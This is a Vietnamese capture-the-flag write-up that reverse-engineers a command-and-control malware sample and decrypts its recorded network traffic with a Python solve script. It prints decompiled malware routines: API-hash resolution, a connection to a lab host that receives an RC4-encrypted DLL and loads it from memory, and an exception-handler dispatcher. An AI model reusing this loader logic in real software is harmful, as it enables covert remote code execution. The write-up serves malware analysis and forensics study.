---
# System prepended metadata

title: Trust Me!
tags: [Reverse, Networking, MalwareAnalysis]

---

# Trust Me! (ASCIS2024)
>author: kAiZ3n
 
 
Nhận được 2 file : TrustMe.exe và record.pcapng
Do đây là challenge liên quan đến command&control
tôi check string thì thấy được ipaddr lạ trong file PE tiến hành xref tới hàm xử lý
## Code logic chính tại sub_88301
tại đây có 1 hàm xử lý tôi đã rename lại resolve_APIhashing_ws2_32() tại hàm này ta thấy nó gọi hàm sub_881B80 với file dll library và chuỗi hex đây là kỹ thuật resolve hashing
## Load Library Manual tại sub_881B80
- Load DLL với LoadLibraryA
- ImageDirectoryEntryToData : lấy con trỏ tới Export Table
- hàm hashing tại sub_881690
## Hashing API
```
unsigned int __fastcall sub_881690(_BYTE *a1, const char *a2)
{
  char v2; // al
  unsigned int v3; // ebx
  unsigned int v4; // esi
  const char *v5; // edi
  unsigned __int64 v6; // kr00_8
  unsigned int v7; // ebx
  unsigned __int64 v8; // rt0
  unsigned __int64 v9; // rax
  unsigned __int64 v10; // rax
  unsigned __int64 v11; // rax
  unsigned __int64 v12; // rax
  unsigned __int64 v13; // rax
  unsigned __int64 v14; // rax
  unsigned __int64 v15; // rax
  unsigned __int64 v16; // rax
  unsigned __int64 v17; // rax
  unsigned __int64 v18; // rax
  unsigned __int64 v19; // rax
  unsigned __int64 v20; // rax
  unsigned __int64 v21; // rax
  unsigned __int64 v22; // rax
  unsigned __int64 v23; // rax
  int i; // ebx
  unsigned int result; // eax
  unsigned __int64 v26; // [esp-10h] [ebp-A0h]
  __int64 k; // [esp-10h] [ebp-A0h]
  unsigned int v28; // [esp+10h] [ebp-80h]
  unsigned int v29; // [esp+14h] [ebp-7Ch]
  unsigned int v30; // [esp+18h] [ebp-78h]
  unsigned int v31; // [esp+1Ch] [ebp-74h]
  unsigned int v32; // [esp+20h] [ebp-70h]
  unsigned int v33; // [esp+24h] [ebp-6Ch]
  unsigned int v34; // [esp+28h] [ebp-68h]
  unsigned int v35; // [esp+2Ch] [ebp-64h]
  unsigned int v36; // [esp+30h] [ebp-60h]
  unsigned int v37; // [esp+34h] [ebp-5Ch]
  _BYTE *v38; // [esp+40h] [ebp-50h]
  unsigned int v39; // [esp+44h] [ebp-4Ch]
  char v41[20]; // [esp+4Ch] [ebp-44h] BYREF
  _QWORD v42[6]; // [esp+60h] [ebp-30h]

  v2 = *a1;
  v38 = a1;
  v30 = 0x84222325;
  v31 = 0x842224D8;
  v33 = 0x8422268B;
  v32 = 0xCBF29EE4;
  v35 = 0x8422283E;
  v34 = 0xCBF29FE4;
  v37 = 0x842229F1;
  v36 = 0xCBF2A0E4;
  v3 = 0xCBF29DE4;
  v29 = 0xCBF29DE4;
  v4 = 0xCBF29CE4;
  v5 = a2;
  v6 = 0xCBF2A1E484222BA4uLL;
  if ( *a1 )
  {
    do
    {
      v7 = v2;
      v28 = (unsigned __int64)v2 >> 32;
      HIDWORD(v8) = v4 ^ v28;
      LODWORD(v8) = v30 ^ v2;
      HIDWORD(v26) = v8 >> 25;
      LODWORD(v26) = ((_DWORD)v8 << 7) | ((v4 ^ v28) >> 25);
      v9 = 0x100000001B3LL * v26;
      HIDWORD(v26) = __SPAIR64__(v9, HIDWORD(v9)) >> 5;
      LODWORD(v26) = v9 >> 5;
      v10 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      v30 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      HIDWORD(v8) = v29 ^ v28;
      LODWORD(v8) = v31 ^ v7;
      HIDWORD(v26) = v8 >> 24;
      v39 = HIDWORD(v10);
      LODWORD(v26) = ((v31 ^ v7) << 8) | ((v29 ^ v28) >> 24);
      v11 = 0x100000001B3LL * v26;
      HIDWORD(v26) = __SPAIR64__(v11, HIDWORD(v11)) >> 6;
      LODWORD(v26) = v11 >> 6;
      v31 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      HIDWORD(v8) = v32 ^ v28;
      LODWORD(v8) = v33 ^ v7;
      v29 = (v26 % 0xFFFFFFFFFFFFFFFFuLL) >> 32;
      HIDWORD(v26) = v8 >> 23;
      LODWORD(v26) = ((v33 ^ v7) << 9) | ((v32 ^ v28) >> 23);
      v12 = 0x100000001B3LL * v26;
      HIDWORD(v26) = __SPAIR64__(v12, HIDWORD(v12)) >> 7;
      LODWORD(v26) = v12 >> 7;
      v13 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      v33 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      HIDWORD(v8) = v34 ^ v28;
      LODWORD(v8) = v35 ^ v7;
      HIDWORD(v26) = v8 >> 22;
      v32 = HIDWORD(v13);
      LODWORD(v26) = ((v35 ^ v7) << 10) | ((v34 ^ v28) >> 22);
      v14 = 0x100000001B3LL * v26;
      HIDWORD(v26) = __SPAIR64__(v14, HIDWORD(v14)) >> 8;
      LODWORD(v26) = v14 >> 8;
      v15 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      v35 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      HIDWORD(v8) = v36 ^ v28;
      LODWORD(v8) = v37 ^ v7;
      HIDWORD(v26) = v8 >> 21;
      v34 = HIDWORD(v15);
      LODWORD(v26) = ((v37 ^ v7) << 11) | ((v36 ^ v28) >> 21);
      v16 = 0x100000001B3LL * v26;
      HIDWORD(v26) = __SPAIR64__(v16, HIDWORD(v16)) >> 9;
      LODWORD(v26) = v16 >> 9;
      v36 = (v26 % 0xFFFFFFFFFFFFFFFFuLL) >> 32;
      v37 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      HIDWORD(v26) = (v6 ^ __PAIR64__(v28, v7)) >> 20;
      LODWORD(v26) = (((unsigned int)v6 ^ v7) << 12) | ((HIDWORD(v6) ^ v28) >> 20);
      v17 = 0x100000001B3LL * v26;
      HIDWORD(v26) = __SPAIR64__(v17, HIDWORD(v17)) >> 10;
      LODWORD(v26) = v17 >> 10;
      v4 = v39;
      v6 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
      v2 = *++v38;
    }
    while ( *v38 );
    v5 = a2;
    v3 = v29;
  }
  HIDWORD(k) = v4;
  LODWORD(k) = v30 ^ (v4 >> 1);
  v18 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
  v42[0] = v18 ^ (HIDWORD(v18) >> 1);
  HIDWORD(k) = v3;
  LODWORD(k) = v31 ^ (v3 >> 1);
  v19 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
  HIDWORD(k) = v32;
  LODWORD(k) = v33 ^ (v32 >> 1);
  v42[1] = v19 ^ (HIDWORD(v19) >> 1);
  v20 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
  v42[2] = v20 ^ (HIDWORD(v20) >> 1);
  HIDWORD(k) = v34;
  LODWORD(k) = v35 ^ (v34 >> 1);
  v21 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
  HIDWORD(k) = v36;
  LODWORD(k) = v37 ^ (v36 >> 1);
  v42[3] = v21 ^ (HIDWORD(v21) >> 1);
  v22 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
  v42[4] = v22 ^ (HIDWORD(v22) >> 1);
  v23 = 0xC4CEB9FE1A85EC53uLL
      * ((0xFF51AFD7ED558CCDuLL * (v6 ^ (HIDWORD(v6) >> 1))) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL
                                                                              * (v6 ^ (HIDWORD(v6) >> 1))) >> 32) >> 1));
  v42[5] = v23 ^ (HIDWORD(v23) >> 1);
  for ( i = 0; i < 6; ++i )
  {
    sprintf((int)v41, (int)"%016llx", v42[i]);
    result = strlen(v41) + 1;
    qmemcpy((void *)&v5[strlen(v5)], v41, result);
    v5 = a2;
  }
  return result;
}
```
![image](https://hackmd.io/_uploads/HyC4oiARJg.png)
mình đã sử dụng virustotal để nhận diện hash  là fnv nhưng có vẻ không kết thúc tại đó nó còn kết hợp thêm kỹ thuật giống như trong MurmurHash3
Do không thể giả lập lại hàm hash mà ban đầu tôi đã đề cập sau khoảng thời gian mấy ngày mò docs cũng như tìm hiểu về API ws2_32.dll thì tôi nhận ra cách mà chương trình tạo ra một socket TCP đều dùng các FunctionCall quen thuộc (như send, recv, connect, bind, accept, listen) cùng với các các parameter dễ nhận dạng do đây là một file malware C2 nghi ngờ gửi dữ liệu từ target-attacker và ngược lại nên tôi search các function tạo một TCP connect()
sau một hồi research 
https://stackoverflow.com/questions/16372700/how-to-use-getaddrinfo-to-connect-to-a-server-using-the-external-ip
thì tôi thấy trang này có một code C++ khá gần với code chúng ta và dựa vào đó tôi đã reverse lại function này
## 
```
int sub_403010()
{
  char *key; // ebx
  int v1; // eax
  _DWORD *v2; // esi
  int WSAStartUp; // eax
  PADDRINFOA *v4; // edi
  int (__stdcall *getaddrinfo)(const char *, const char *, _DWORD *, _DWORD *); // eax
  int hostAddress; // eax
  PADDRINFOA addrinfo; // eax
  int socket_return; // eax
  int v9; // ecx
  int connect_return; // eax
  int v11; // eax
  _DWORD *recv; // esi
  _DWORD *send; // eax
  int len_key; // esi
  int data; // eax
  int v16; // esi
  _DWORD *recv1; // edi
  void *v18; // edi
  int v19; // esi
  _DWORD *recv2; // ebx
  int v21; // edi
  int keyDecryptData; // eax
  int *v23; // esi
  int handle; // eax
  const char *key_random; // eax
  int v26; // eax
  void *v28; // [esp+70h] [ebp-24h]
  int lenkey; // [esp+74h] [ebp-20h]
  _BYTE *dataencRecv; // [esp+78h] [ebp-1Ch]
  unsigned int ss; // [esp+8Ch] [ebp-8h] BYREF
  unsigned int picEnc; // [esp+90h] [ebp-4h] BYREF
  int savedregs; // [esp+94h] [ebp+0h] BYREF

  malloc(8u);
  CreatePicTureBMP();
  ss = 4;
  key = (char *)malloc(0x14u);
  v28 = dword_420398;
  *(_OWORD *)key = 0LL;
  *((_DWORD *)key + 4) = 0;
  memset(v28, 0, '\x02\xCC');
  v1 = dword_4203B0(0);
  dword_4203A4(v1);
  v2 = resolve_APIhashing_ws2_32();
  WSAStartUp = ((int (__stdcall *)(int, _DWORD *))v2[114])(514, v2);
  v2[111] = WSAStartUp;
  if ( WSAStartUp )
    ExitProcess(1u);
  v2[103] = 0;
  v4 = (PADDRINFOA *)(v2 + 101);
  v2[107] = 0;
  v2[108] = 0;
  v2[109] = 0;
  v2[110] = 0;
  getaddrinfo = (int (__stdcall *)(const char *, const char *, _DWORD *, _DWORD *))v2[115];
  v2[104] = 0;
  v2[105] = 1;
  v2[106] = 6;
  hostAddress = getaddrinfo("192.168.89.136", "31337", v2 + 103, v2 + 101);
  v2[111] = hostAddress;
  if ( hostAddress )
    goto LABEL_4;
  addrinfo = *v4;
  v2[102] = *v4;
  if ( addrinfo )
  {
    while ( 1 )
    {
      socket_return = ((int (__stdcall *)(int, int, int))v2[116])(
                        addrinfo->ai_family,
                        addrinfo->ai_socktype,
                        addrinfo->ai_protocol);
      v2[100] = socket_return;
      ((void (__stdcall *)(int, int, int, _DWORD *, int))v2[117])(socket_return, 0xFFFF, 4101, v2 + 113, 4);
      v9 = v2[100];
      if ( v9 == -1 )
        break;
      connect_return = ((int (__stdcall *)(int, _DWORD, _DWORD))v2[119])(
                         v9,
                         *(_DWORD *)(v2[102] + 24),
                         *(_DWORD *)(v2[102] + 16));
      v2[111] = connect_return;
      if ( connect_return == -1 )
      {
        ((void (__stdcall *)(_DWORD))v2[120])(v2[100]);// v2[120]v2[100] == closesocket
        v11 = v2[102];
        v2[100] = -1;
        addrinfo = *(PADDRINFOA *)(v11 + 28);
        v2[102] = addrinfo;
        if ( addrinfo )
          continue;
      }
      goto LABEL_9;
    }
LABEL_4:
    ((void (*)(void))v2[118])();
    ExitProcess(1u);
  }
LABEL_9:
  freeaddrinfo(*v4);
  if ( resolve_APIhashing_ws2_32()[100] != -1 ) // resolve_APIhashing_ws2_32()[100] = connect()
  {
    recv = resolve_APIhashing_ws2_32();
    if ( !((int (__stdcall *)(_DWORD, char *, int, _DWORD))recv[122])(recv[100], key, 512, 0) )// recv[122]recv[100] ==  recv
    {
      recv[100] = 0;
      *((_BYTE *)recv + 496) = 0;
    }
    send = resolve_APIhashing_ws2_32();
    ((void (__stdcall *)(_DWORD, unsigned int *, int, _DWORD))send[121])(send[100], &ss, 1, 0);// v29 = 4 (gửi 1 byte)
    ss = strlen((const char *)create_key_random((int)&savedregs));
    RC4_sendEnc((int)&ss, 4, key);
    len_key = strlen((const char *)create_key_random((int)&savedregs));
    data = create_key_random((int)&savedregs);
    RC4_sendEnc(data, len_key, key);            // ma hoa
    v16 = nameFileDLL + 4;
    recv1 = resolve_APIhashing_ws2_32();
    if ( !((int (__stdcall *)(_DWORD, int, int, _DWORD))recv1[122])(recv1[100], v16, 4, 0) )// nhan tu 31337 -> 4 bytes 002a0000 kich thuoc file DLL
    {
      recv1[100] = 0;
      *((_BYTE *)recv1 + 496) = 0;
    }
    v18 = malloc(*(_DWORD *)(nameFileDLL + 4));
    v19 = *(_DWORD *)(nameFileDLL + 4);
    *(_DWORD *)(nameFileDLL + 8) = v18;
    recv2 = resolve_APIhashing_ws2_32();
    if ( !((int (__stdcall *)(_DWORD, void *, int, _DWORD))recv2[122])(recv2[100], v18, v19, 0) )// data file dll đã bị encrypted
    {
      recv2[100] = 0;
      *((_BYTE *)recv2 + 496) = 0;
    }
    lenkey = strlen((const char *)create_key_random((int)&savedregs));
    v21 = nameFileDLL;
    dataencRecv = *(_BYTE **)(nameFileDLL + 8);
    keyDecryptData = create_key_random((int)&savedregs);
    rc4_encrypt(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4), keyDecryptData, lenkey, dataencRecv);// *(dword_4203B4+4) = key && *(dword_4203B4+8) = data
    v23 = (int *)nameFileDLL;
    handle = LoadDLL(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4));
    *v23 = handle;
    if ( !handle )
      sub_401600("Can't load library from memory.\n");
    if ( !*(_DWORD *)nameFileDLL )
    {
      _loaddll((char *)0xFFFFFFFF);
      JUMPOUT(0x4033B3);
    }
    dword_420394 = CreatePicTureBMP();
    picEnc = *(_DWORD *)dword_420394 / (unsigned int)lendataEnc;
    key_random = (const char *)create_key_random((int)&savedregs);// gui size cua pic
    RC4_sendEnc((int)&picEnc, 4, key_random);
  }
  dword_42039C(1, sub_402E80);
  v26 = dword_4203B0(5);
  dword_4203A4(v26);
  return 0;
}
```
Giai đoạn phân tích đi đến được đây coi như cũng dễ thở hơn chút vì để rename cũng như handle hết hàm này cũng mất khá nhiều thời gian

đầu tiên sẽ khởi tạo WSASTARTUP và getaddrinfo để lấy thông tin External IP
nếu getaddrinfo thất bại chương trình sẽ return về **nonzero hay còn gọi là error code** sẽ đi tới LABEL_4
và dùng ExitProcess() để terminal chương trình.
nếu getaddrinfo thành công return 0
![image](https://hackmd.io/_uploads/SySXdWHA1g.png)
và trả về các object của struct attackInfo
tiếp theo chương trình sẽ tạo một socket với attackrinfo tại v2[116]
![image](https://hackmd.io/_uploads/SyJlcWr01x.png)


Nếu socket tạo thành công sẽ gọi functionName connect() từ ws2_32.dll đã resolved APIhash với v2[119]
và v2[120] có thể là closeconnect()
khi tạo thành công connect() chương trình đi tới LABLE_9 bắt đầu nhận và gửi payload thông qua socket này

## tại LABEL_9
nhận diện các functioncall thông qua các parameter thông dụng
![image](https://hackmd.io/_uploads/BJGpkGS0Je.png)

đầu tiên tại target nhận một key với buffer 512 từ attacker
filter wireshark : ip.addr==192.168.89.136 and tcp.srcport==31337
![image](https://hackmd.io/_uploads/ByWh3ZSRJe.png)
**key nhận từ attacker : "I'm_4_Gat3_K33per"**
target sẽ gửi lại cho attacker 1 byte payload = 4 (do tại bước này mình vẫn chưa hiểu attacker send 1 bytes này làm gì nên mình sẽ giải thích ở dưới sau nếu các bạn thắc mắc hãy kéo xuống dưới)
```
send = resolve_APIhashing_ws2_32();
((void (__stdcall *)(_DWORD, unsigned int *, int, _DWORD))send[121])(send[100], &ss, 1, 0);// v29 = 4 (gửi 1 byte)
```

theo dõi bên wireshark
filter wireshark : ip.addr==192.168.89.136 and tcp.dstport==31337
![image](https://hackmd.io/_uploads/HJWF3ZBRJg.png)


tiếp theo chương trình sử dụng hàm create_key_random((int) &savedregs)) với để tạo khóa
## Create_key_random
```
int __usercall create_string@<eax>(int a1@<ebp>)
{
  int result; // eax
  unsigned int v2; // eax
  _BYTE *v3; // edi
  unsigned int i; // esi
  char v5[64]; // [esp-40h] [ebp-4Ch] BYREF
  int v6; // [esp+0h] [ebp-Ch]
  void *v7; // [esp+4h] [ebp-8h]
  void *retaddr; // [esp+Ch] [ebp+0h]

  v6 = a1;
  v7 = retaddr;
  result = dword_420360;
  if ( !dword_420360 )
  {
    v2 = time(0);
    srand(v2);
    strcpy(v5, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
    v3 = malloc(0x40u);
    for ( i = 0; i < 0x40; ++i )
      v3[i] = v5[rand() % 52];
    v3[64] = 0;
    result = (int)v3;
    dword_420360 = (int)v3;
  }
  return result;
}
```
hàm sẽ tạo khóa 64 bytes từ random char bằng cách lấy time hiện tại
và nó sẽ mã hóa key này với key mà attacker đã gửi đầu tiên và send độ dài key đã bị mã thông qua hàm RC4_send
## chức năng hàm RC4_send()
```
void __fastcall RC4_sendEnc(int data, int lenkey, const char *key)
{
  size_t v4; // esi
  _BYTE *enc; // ebx
  _DWORD *send; // eax

  v4 = lenkey + 1;
  enc = malloc(lenkey + 1);
  memset(enc, 0, v4);
  if ( resolve_APIhashing_ws2_32()[100] != -1 )
  {
    rc4_encrypt(data, lenkey, (int)key, strlen(key), enc);
    send = resolve_APIhashing_ws2_32();
    ((void (__stdcall *)(_DWORD, _BYTE *, int, _DWORD))send[121])(send[100], enc, lenkey, 0);
    Sleep(30u);
  }
}
```
nó sẽ dùng rc4 để encrypt và sử dụng resolve_APIhashing_ws2_32() để lấy functionName : send() từ ws2_32.dll chức năng của hàm resolve_APIhashing_ws2_32 mình đã đề cập ở trên
đây là payload đã send 4bytes len của key và ngay sau đó là key
ban đầu tại đây mình nghĩ sẽ tạo ra 2 packet trên file pcapng và mình kh thấy packet nào hợp lệ sau khoảng thời gian mình nhận ra nó đã đc gửi cùng với nhau trong 1 packet và đây là payload của nó 
![image](https://hackmd.io/_uploads/BJ3oeGBCyl.png)
vì đây là packet t2 sau khi send 0x04 
payload có 68bytes : chia ra 2 phần 
```
encrypted-key-length :86dad7bb 
encrypted-key : 918e87d161556ad2e40a89010adfe3aa41ca44764e786b738047456cc80d021e7f60b56776b858225d45099f0e99b62f5758977fde740bcc2be36dbf403eb860
```
đã có đầy đủ thông tin về key và tiến hành xử lý decrypt RC4
```
sizekey = 0x40 = 64bytes đúng với logic tạo key
key = "WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM"
```
![image](https://hackmd.io/_uploads/HJyeQzSRJe.png)

có key rồi decrypt luôn payload tiếp theo đã đc gửi từ attacker tới target đầu tiên là len data tiếp theo là data và sau đó bị encrypted bởi rc4_encrypt sau đó có vẻ như nó load file này vào memory và chạy file
## Load file Drop (chức năng tinh chỉnh key)
```
    recv2 = resolve_APIhashing_ws2_32();
    if ( !((int (__stdcall *)(_DWORD, void *, int, _DWORD))recv2[122])(recv2[100], v18, v19, 0) )// data file dll đã bị encrypted
    {
      recv2[100] = 0;
      *((_BYTE *)recv2 + 496) = 0;
    }
    lenkey = strlen((const char *)create_key_random((int)&savedregs));
    v21 = fileDLLdrop;
    dataencRecv = *(_BYTE **)(fileDLLdrop + 8);
    keyDecryptData = create_key_random((int)&savedregs);
    rc4_encrypt(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4), keyDecryptData, lenkey, dataencRecv);// *(dword_4203B4+4) = key && *(dword_4203B4+8) = data
    v23 = (int *)fileDLLdrop;
    handle = LoadDLL(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4));
    *v23 = handle;
```

chức năng của hàm LoadDLL là load một file dll,exe vào memory như một dạng PELoader.
và return về một dạng handler 
kỹ thuật này được gọi là Virtual Machine-based PE Loader
trả về một con trỏ (pointer) đến Entry Point hoặc Base Address của PE đã được map vào bộ nhớ.
và attacker sẽ import manual các functionName của file PE này vào sử dụng

sau khi PEloader thành công attacker đã tạo một file BMP
và sau đó gửi size của file
![image](https://hackmd.io/_uploads/By4ocMrCkg.png)




do thời gian gửi payload chênh lệch rất ít nên hàm tạo khóa sẽ cho ra các khóa giống nhau
```
filter wirshark : ip.addr==192.168.89.136 and tcp.dstport==51392 and tcp.srcport==31337
với gửi len data ở gói packetid == 10
và data ở gói packetid == 11 trở đi để thuận tiện ta sẽ lấy payload ở TCP stream
```
![image](https://hackmd.io/_uploads/BJoXPGH01e.png)
download file về

## AddVectoredExceptionHandler
![image](https://hackmd.io/_uploads/H14ejMSRkl.png)

```
dword_42039C nó là một APIwindows AddVectoredExceptionHandler
một dạng bắn ExceptionCode để xử lý logic code thật
```
![image](https://hackmd.io/_uploads/rJBwXEH0yl.png)
sau khi fix
```
LONG __stdcall Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)
{
  DWORD ExceptionCode; // eax
  _DWORD *v2; // eax
  _DWORD *recv; // esi
  void *v5; // edx
  PCONTEXT ContextRecord; // eax
  DWORD Eip; // ecx
  DWORD v8; // ecx
  char v9; // [esp+13h] [ebp-1h] BYREF

  if ( resolve_APIhashing_ws2_32()[100] == -1 || !*(_DWORD *)fileDLLdrop )
  {
    ExceptionInfo->ContextRecord->Eip += 5;
    return -1;
  }
  ExceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode;
  if ( ExceptionCode == 0xC0000005 )            // exception code
  {
    v2 = (_DWORD *)dword_8A0394;
    qmemcpy(dword_8A0398, ExceptionInfo->ContextRecord, 716u);
    if ( dataPic <= (int)(*v2 / (unsigned int)lendataEnc) )
    {
      recv = resolve_APIhashing_ws2_32();
      if ( !((int (__stdcall *)(_DWORD, char *, int, _DWORD))recv[122])(recv[100], &v9, 1, 0) )
      {
        recv[100] = 0;
        *((_BYTE *)recv + 496) = 0;
      }
      switch ( v9 )                             // nhận data option tu attacker
      {                                         // cac case nay se goi ham cua file DLLdrop
        case 0:
          ExceptionInfo->ContextRecord->Eip = (DWORD)gen0;// gán địa chỉ gen0 cho EIP để thực thi tiếp tục tại địa chỉ đó
          return -1;
        case 1:
          ExceptionInfo->ContextRecord->Eip = (DWORD)gen1;
          return -1;
        case 2:
          ExceptionInfo->ContextRecord->Eip = (DWORD)gen2;
          return -1;
        case 3:
          ExceptionInfo->ContextRecord->Eip = (DWORD)gen3;
          return -1;
      }
    }
    return -1;
  }
  if ( ExceptionCode != 0x80000003 )
    return -1;
  v5 = dword_8A0398;
  if ( !*((_DWORD *)dword_8A0398 + 46) )
    return -1;
  qmemcpy(ExceptionInfo->ContextRecord, dword_8A0398, sizeof(CONTEXT));
  ContextRecord = ExceptionInfo->ContextRecord;
  Eip = ContextRecord->Eip;
  if ( lendataEnc )
    v8 = Eip - 2;
  else
    v8 = Eip + 5;
  ContextRecord->Eip = v8;
  memset(v5, 0, 716u);
  return -1;
}
```
## Solution
Trong Windows ta có thể chúng ta có thể bắt Exception và trỏ EIP tới một địa chỉ hàm mà ta mong muốn và thực thi tiếp logic code tại đó
Các EIP được gán cho địa chỉ của gen0-gen3 (các hàm này bạn có thể xem ở file drop)
Solution:
- Target sẽ nhận 1 key từ attacker
- Sau đó dùng key đó để làm key cho một key dùng để encrypt-decrypt payload và key này được tạo thông qua hàm create_random_string()
- Download một file exe/dll về máy target và dùng key(được tạo từ hàm random) để decrypting
- Load Dll vào program và sử dụng các hàm của nó (gen0-gen3) để customkey, Tạo một file bmp
- Thêm một các vectorException và gán EIP cho các hàm gen0-gen3 mỗi lần nhận option từ attacker thì target sẽ gửi lại size payload và chạy switch-case theo từng option phù hợp để tạo customkey , mã hóa và send payload cho attacker.
script solve.py
```

from scapy.all import rdpcap, Raw,IP,TCP

def rc4_decrypt(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    out = bytearray()

    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        out.append(byte ^ K)

    return bytes(out)

def gen0_customKey(key: bytes) -> bytes:
    return key[::-1]

def gen1_customKey(key: bytes) -> bytes:
    s = key.decode()
    flipped = ''
    for c in s:
        if c.islower():
            flipped += c.upper()
        elif c.isupper():
            flipped += c.lower()
        else:
            flipped += c
    return flipped.encode()

def gen2_customKey(key: bytes) -> bytes:
    return key[-1:] + key[:-1]

def gen3_customKey(key: bytes) -> bytes:
    result = bytearray()
    for b in key:
        if 65 <= b <= 90:  # 'A' - 'Z'
            v = ((b - 52) % 26) + 65
        elif 97 <= b <= 122:  # 'a' - 'z'
            v = ((b - 84) % 26) + 97
        else:
            v = b
        result.append(v)
    return bytes(result)


initialKey = b"WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM"

packets = rdpcap("record.pcapng")
pic = b""
payload = b""
option = []
size = []
for packet in packets[24:]:
    if IP in packet and TCP in packet:
        src = packet[IP].src
        dst = packet[IP].dst
        if src == "192.168.89.136" and dst == "192.168.89.1":
            if Raw in packet:
                option.append(packet[Raw].load)
                if(len(option) >= 2):
                    match option[-2]:
                        case b'\x00':
                            key = gen0_customKey(initialKey)
                            pic += rc4_decrypt(key,payload)
                        case b'\x01':
                            key = gen1_customKey(initialKey)
                            pic += rc4_decrypt(key,payload)
                        case b'\x02':
                            key = gen2_customKey(initialKey)
                            pic += rc4_decrypt(key,payload)
                        case b'\x03':
                            key = gen3_customKey(initialKey)
                            pic += rc4_decrypt(key,payload)
                    
                    payload = b''
            else: continue
        elif src == "192.168.89.1" and dst == "192.168.89.136":
            if Raw in packet:
                raw_data = packet[Raw].load
                if len(raw_data) == 4:
                    if(len(option) >= 2):
                        match option[-1]:
                            case b'\x00':
                                key = gen0_customKey(initialKey)
                                size.append(rc4_decrypt(key,packet[Raw].load))
                            case b'\x01':
                                key = gen1_customKey(initialKey)
                                size.append(rc4_decrypt(key,packet[Raw].load))
                            case b'\x02':
                                key = gen2_customKey(initialKey)
                                size.append(rc4_decrypt(key,packet[Raw].load))
                            case b'\x03':
                                key = gen3_customKey(initialKey)
                                size.append(rc4_decrypt(key,packet[Raw].load))
                    
                else:
                    payload += raw_data
for i in range(len(size)):
    print(f"size payload của option {option[i]}: {size[i]}")
with open("pic.bmp", "wb") as f:
    f.write(pic)



```

![image](https://hackmd.io/_uploads/SyEdvv0Rkg.png)



PS: Cảm ơn mọi người đã đọc và cảm ơn author vì qua challenge này mình học thêm được rất nhiều thứ mới lạ.



